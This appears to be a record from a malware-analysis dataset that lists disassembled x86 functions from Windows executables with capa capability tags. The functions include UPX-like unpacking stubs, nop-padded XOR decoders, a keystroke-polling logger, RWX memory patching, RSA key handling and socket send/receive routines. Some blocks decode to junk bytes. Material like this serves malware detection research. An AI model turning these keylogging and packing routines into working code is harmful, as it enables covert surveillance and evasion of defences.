joyce8/EMBER2024-capa huggingface dataset:
Function at 0x469000
Capabilities:
Packed with generic packer

Disassembly:
pushal
call 0x469006
or ebp, 0xffffffff
xor ebx, ebx
pop esi
lea edi, [esi - 0x68006]
push edi
add word [edi + 0x67e28], 0
add esi, 0x1b3
jmp 0x46902e
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x469039
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x469028
mov eax, 1
add ebx, ebx
jne 0x46904b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x469040
jne 0x46905c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x469040
xor ecx, ecx
sub eax, 3
jb 0x4690ca
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4690e6
mov ebp, eax
add ebx, ebx
jne 0x46907b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x469088
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4690ac
inc ecx
add ebx, ebx
jne 0x469098
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x46908d
jne 0x4690a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x46908d
add ecx, 2
cmp eax, 0xfffff300
adc ecx, 1
lea edx, [edi + eax]
cmp eax, 0xfffffffc
jle 0x4690d0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4690bc
jmp 0x46902e
mov eax, ebp
jmp 0x469070
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4690d0
add edi, ecx
jmp 0x46902e
pop esi
sub edi, dword [edi - 4]
push edi
lea edi, [esi]
mov ecx, 0x2215
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4690f6
cmp byte [edi], 0x15
jne 0x4690f6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4690fb
pop edi
mov eax, dword [edi]
or eax, eax
je 0x469166
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x67000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x67118]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x469123
push edx
mov ecx, edi
jns 0x469153
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [esi + 0x6711c]
pop edx
mov dword [ebx], eax
add ebx, 4
jmp 0x469140
lea ebx, [esi - 4]
add edi, 4
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x469197
cmp al, 0xef
ja 0x46918a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x46916c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x469179
popal
jmp 0x445e50
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x4228a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
jmp 0x4228ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4228c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4228b0
mov eax, 1
add ebx, ebx
jne 0x4228d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4228c8
jne 0x4228e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4228c8
xor ecx, ecx
sub eax, 3
jb 0x4228f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42296a
mov ebp, eax
add ebx, ebx
jne 0x422903
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x422910
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x422934
inc ecx
add ebx, ebx
jne 0x422920
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x422915
jne 0x422931
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x422915
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x422954
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x422945
jmp 0x4228b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x422954
add edi, ecx
jmp 0x4228b6
pop esi
mov edi, esi
mov ecx, 0x188
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x422972
cmp byte [edi], 7
jne 0x422972
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x422977
lea edi, [esi + 0x20000]
mov eax, dword [edi]
or eax, eax
je 0x4229e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x22000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x22028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4229a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2202c]
or eax, eax
je 0x4229e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4229c1
call dword [esi + 0x2203c]
mov ebp, dword [esi + 0x22030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x422a1a
sub esp, 0xffffff80
jmp 0x40207d
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3f124625
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
mov ecx, 0x11391d5c
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4b78d0
Capabilities:
Encode data using xor

Disassembly:
in al, 0x4b
mov bh, 0x77
mov cl, byte [edx + 0x49]
dec ecx
xchg ebx, eax
setns byte [ecx - 0x14]
cmp eax, 0x1c83f2c2
rcl byte [ecx + 0x69], cl
xor ecx, dword [ecx]
or eax, 0xcd09a8b7
daa
pop eax
imul ecx, ebx, 0x2a
mov ecx, edi
enter 0x42a4, 0xffffffffffffff90
test al, 0x45
test al, 0x3f
out 0x3d, al
or edx, esi
in al, 0x24
je 0x4b78d6
add byte [0xa7d9e550], ch
enter 0x4db0, 0x2b
xor dl, byte [esp + edx]
xor dl, 0xfd
lcall 0xe866, 0x7905b650
test bl, bl
lodsb al, byte [esi]
clc
ljmp 0x5691
Function at 0x541a50
Capabilities:
Encode data using xor

Disassembly:
add al, 0x17
pop ds
pop es
popfd
scasd eax, dword es:[edi]
sub ecx, ecx
pop edx
sbb eax, 0x42cd4f33
nop
adc dh, ch
repne scasb al, byte es:[edi]
xor ebp, esi
lodsb al, byte [esi]
invalid
Function at 0x5e21e0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0xb1ef99b0
jns 0x5e220b
cdq
and al, 0xdc
mul esi
loopne 0x5e21d4
sti
out 0x96, eax
adc al, dl
mov dword [eax + 0x47], esi
jge 0x5e21d2
outsb dx, byte [esi]
push dword [ecx + 0x35a74bc6]
ja 0x5e21f0
mov edi, 0x251a3bc4
cmp byte [esi + 0x13d0573c], dl
xchg esi, eax
cmp al, 0x57
rcl byte [ebx]
sal dword [eax - 0xe], 0x68
jg 0x5e2282
leave
into
push esi
xchg esi, eax
jns 0x5e2209
pushal
xor al, 0x87
jle 0x5e225f
xchg edx, eax
je 0x5e2229
and edi, ebp
shr byte [esi - 0x43], cl
xlatb
das
push 0x89072dfe
jle 0x5e2287
psllw mm4, qword [edi]
mov al, byte [0x41d6bb56]
xor eax, 0x2a5beb20
or dword [ecx + 0x5d57fd31], ebp
mov byte [edx - 0x10c60d17], dh
sbb byte [ebx + 0x45], dh
and al, 0xc
push ss
retf 0x24d6
pop ss
test dword [esi], 0x4c4c4e87
retf
jb 0x5e226f
in al, dx
sar dl, 1
je 0x5e2257
cwde
jno 0x5e226d
and al, 0xb9
adc ecx, edx
insb byte es:[edi], dx
retf 0x4b6c
dec ebx
xchg dword [edi - 0x75], eax
mov cl, 0xa5
jecxz 0x5e21fe
sti
and eax, 0xd2c36733
and byte [esi + 0x62af2024], dh
invalid
invalid
inc cl
retf
Function at 0x401fb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x84
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sym.GetActiveWindowTitle_abi:cxx11___
mov dword [ebp - 0xc], 8
cmp dword [ebp - 0xc], 0xde
jg 0x4020a2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
test al, al
je 0x402099
mov dword [esp], 0x10
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
mov byte [ebp - 0xd], al
movzx edx, byte [ebp - 0xd]
lea eax, [ebp - 0x70]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.ConvertKeyCodeToText_abi:cxx11__int__bool_
lea eax, [ebp - 0x70]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::empty___const
xor eax, 1
test al, al
je 0x402080
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x58]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x70]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sym.LogToFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x28]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [esp], 0x64
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x70]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [ebp - 0xc], 1
jmp 0x401fcc
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401fba
Function at 0x402950
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408074
call sym._EnterCriticalSection_4
mov ebx, dword [0x40806c]
sub esp, 4
test ebx, ebx
je 0x40299b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402994
test esi, esi
je 0x402994
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402970
mov dword [esp], 0x408074
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402b80
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402bd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402ca8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402c0e
cmp eax, 4
jne 0x402c30
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402c1e
cmp edx, 4
je 0x402c1e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402b80
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x74256d24
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x26bc2336
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40129d
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x104
mov eax, dword [0x439164]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
or dword [ebp - 0x88], 0xffffffff
push ebx
push esi
xor esi, esi
cmp dword [ebp + 0x78], esi
push edi
mov dword [ebp - 0x94], eax
mov edi, ecx
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x8c], esi
push 0x50
lea eax, [ebp - 0x84]
jne 0x4012f6
push str._____BEGIN_CERTIFICATE_____
push eax
call fcn.0040f9d0
push 0x50
push str._____END_CERTIFICATE_____
jmp 0x401308
push str._____BEGIN_RSA_PRIVATE_KEY_____
push eax
call fcn.0040f9d0
push 0x50
push str._____END_RSA_PRIVATE_KEY_____
lea eax, [ebp - 0x34]
push eax
call fcn.0040f9d0
add esp, 0x18
push 0x4380a8
push edi
call fcn.00410088
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
je 0x40148d
push ebx
push 0x50
pop edi
jmp 0x40135c
lea eax, [ebp - 0x84]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40133a
sub eax, edx
push eax
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x84]
push eax
call fcn.0040f087
add esp, 0xc
test eax, eax
push ebx
je 0x40136f
lea eax, [ebp + 0x1c]
push edi
push eax
call fcn.0040fce4
add esp, 0xc
test eax, eax
jne 0x401331
jmp 0x40137b
call fcn.0040f63e
pop ecx
mov dword [ebp - 0x88], eax
push ebx
lea eax, [ebp + 0x1c]
push edi
push eax
call fcn.0040fce4
add esp, 0xc
jmp 0x4013c5
lea eax, [ebp - 0x34]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401391
sub eax, edx
push eax
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040f087
add esp, 0xc
test eax, eax
je 0x4013cb
push ebx
call fcn.0040f63e
push ebx
mov esi, eax
lea eax, [ebp + 0x1c]
push edi
push eax
call fcn.0040fce4
add esp, 0x10
test eax, eax
jne 0x40138b
jmp 0x4013d5
mov dword [ebp - 0x90], 1
cmp dword [ebp - 0x88], 0xffffffff
je 0x401486
cmp dword [ebp - 0x90], 0
je 0x401486
sub esi, dword [ebp - 0x88]
push esi
call fcn.0040feba
mov edi, eax
test edi, edi
pop ecx
jne 0x401412
mov esi, 0xffffff35
push ebx
call fcn.0040f1b7
pop ecx
mov eax, esi
jmp 0x401490
push 0
push dword [ebp - 0x88]
push ebx
call fcn.0041054d
push ebx
push 1
push esi
push edi
call fcn.00410a42
add esp, 0x1c
cmp eax, 1
jne 0x401478
push esi
call fcn.0040feba
test eax, eax
pop ecx
mov ecx, dword [ebp - 0x94]
mov dword [ecx + 4], eax
je 0x401478
push ecx
push eax
push esi
push edi
mov dword [ecx], esi
call fcn.00407dbd
add esp, 0x10
test eax, eax
jge 0x401462
mov dword [ebp - 0x8c], 0xfffffffc
push edi
call fcn.0040f418
push ebx
call fcn.0040f1b7
mov eax, dword [ebp - 0x8c]
pop ecx
pop ecx
jmp 0x401490
push edi
call fcn.0040f418
pop ecx
mov esi, 0xffffff29
jmp 0x401407
push ebx
call fcn.0040f1b7
pop ecx
push 0xfffffffffffffffc
pop eax
mov ecx, dword [ebp + 0x6c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041070b
add ebp, 0x70
leave
ret
Function at 0x4014a2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], 0xa
push esi
push edi
mov dword [ebp - 4], ebx
je 0x4014f3
cmp dword [ebp + 0xc], 0xb
je 0x4014c2
push 0xfffffffffffffffb
jmp 0x4015b8
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
dec eax
neg eax
sbb eax, eax
not eax
and eax, dword [ebp + 0x10]
push eax
call fcn.0040129d
test eax, eax
pop ecx
pop ecx
jge 0x401565
push dword [ebp - 4]
call fcn.0040f418
pop ecx
push 0xfffffffffffffffc
jmp 0x4015b8
push 0x4380ac
push ecx
call fcn.00410088
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x4014ec
push 2
push ebx
push esi
call fcn.0041054d
push esi
call fcn.0040f63e
push ebx
push ebx
push esi
mov edi, eax
call fcn.0041054d
push edi
call fcn.0040feba
add esp, 0x20
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x401539
mov eax, 0xffffff35
jmp 0x4015b9
push esi
push 1
push edi
push eax
mov dword [ebp - 8], edi
call fcn.00410a42
add esp, 0x10
cmp eax, 1
push esi
je 0x40155f
call fcn.0040f1b7
push dword [ebp - 4]
call fcn.0040f418
pop ecx
jmp 0x4014eb
call fcn.0040f1b7
pop ecx
cmp dword [ebp + 0x10], 2
jne 0x40157d
push dword [ebp - 4]
mov ebx, dword [ebp + 8]
push dword [ebp - 8]
call fcn.004011cf
pop ecx
pop ecx
jmp 0x4015b9
cmp dword [ebp + 0x10], ebx
jne 0x401593
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 4]
mov dword [eax + 8], ecx
jmp 0x4015a8
cmp dword [ebp + 0x10], 1
jne 0x4015ad
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 4]
mov dword [eax + 0x10], ecx
xor eax, eax
inc eax
jmp 0x4015b9
push dword [ebp - 4]
call fcn.0040f418
pop ecx
push 0xfffffffffffffff8
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4023fc
Capabilities:
Receive data
Receive data on socket

Disassembly:
cmp dword [esi + 0x45c], 0xffffffff
jne 0x40241c
push 0x270
push 0x4381a0
push 0x4381c8
call fcn.00410c9e
add esp, 0xc
push ebx
push edi
mov byte [esi + 0x6ea], 0
mov ebx, 0x2733
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esi + 0x45c]
call sub.WS2_32.dll_recv
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
jne 0x40248d
call sub.WS2_32.dll_WSAGetLastError
cmp eax, ebx
je 0x402482
call sub.WS2_32.dll_WSAGetLastError
cmp eax, ebx
je 0x402482
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2746
je 0x402479
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2714
je 0x40242a
mov eax, edi
pop edi
pop ebx
ret
mov byte [esi + 0x6eb], 1
jmp 0x402474
mov byte [esi + 0x6ea], 1
xor eax, eax
jmp 0x402476
test edi, edi
jne 0x402474
mov byte [esi + 0x6ec], 1
jmp 0x402476
Function at 0x4024db
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x6cc], 0
push edi
mov edi, dword [ebp + 0xc]
lea ebx, [edi + eax]
je 0x4024fc
mov edi, dword [esi + 0x6d0]
cmp dword [esi + 0x45c], 0xffffffff
jne 0x40256b
push 0x2bb
push 0x438204
push str.ssl__socket___INVALID_SOCKET
call fcn.00410c9e
add esp, 0xc
jmp 0x40256b
push dword [ebp + 0x14]
mov eax, ebx
sub eax, edi
push eax
push edi
push dword [esi + 0x45c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x402569
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x402585
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x402585
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2746
je 0x402577
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2714
jne 0x40257e
jmp 0x40256b
add edi, eax
cmp edi, ebx
jne 0x40251e
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
pop ebp
ret
mov byte [esi + 0x6eb], 1
mov eax, 0xffffff30
jmp 0x402572
mov dword [esi + 0x6d0], edi
mov eax, 0xffffff1d
jmp 0x402572

Function at 0x40598a
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, edx
test edi, edi
jbe 0x4059a7
push esi
mov esi, dword [esp + 0xc]
sub ecx, eax
sub esi, eax
mov dl, byte [ecx + eax]
xor dl, byte [eax]
mov byte [esi + eax], dl
inc eax
dec edi
jne 0x40599a
pop esi
pop edi
ret